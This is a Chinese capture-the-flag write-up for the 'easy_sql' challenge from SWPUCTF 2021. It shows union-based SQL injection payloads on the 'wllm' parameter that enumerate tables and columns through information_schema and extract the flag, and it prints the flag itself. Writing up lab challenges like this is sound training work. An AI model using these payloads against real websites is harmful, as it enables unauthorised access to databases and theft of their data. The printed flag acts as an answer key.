>lhzctf

[SWPUCTF 2021 新生赛]easy_sql

1.打开靶机

是一张图片和一句提示词:

alt text

再根据提示:参数是wllm,决定从这里开始sql注入。

2.初步尝试

先试:

?wllm=1

回显:

alt text

再试:

?wllm=1'

报错:

alt text

这说明这里存在字符型注入,后台为'1’’,所以sql报错,接下来开始注入。

3.sql注入

先确定列数:

?wllm='order by 3--+ 页面正常显示
?wllm='order by 4--+ 页面报错

所以共有三列

查表:

?wllm='union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

回显:

alt text

故有表:

test_tb,users

猜测flag在 test_tb 中,优先尝试它:

?wllm='union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

回显:

alt text

非常好,flag就在这里,直接取出它:

?wllm='union select 1,2,group_concat(flag) from test_tb--+

回显:

alt text

得到flag:

NSSCTF{fc296bd5-beb1-411a-8f8b-1645bc3cee3e}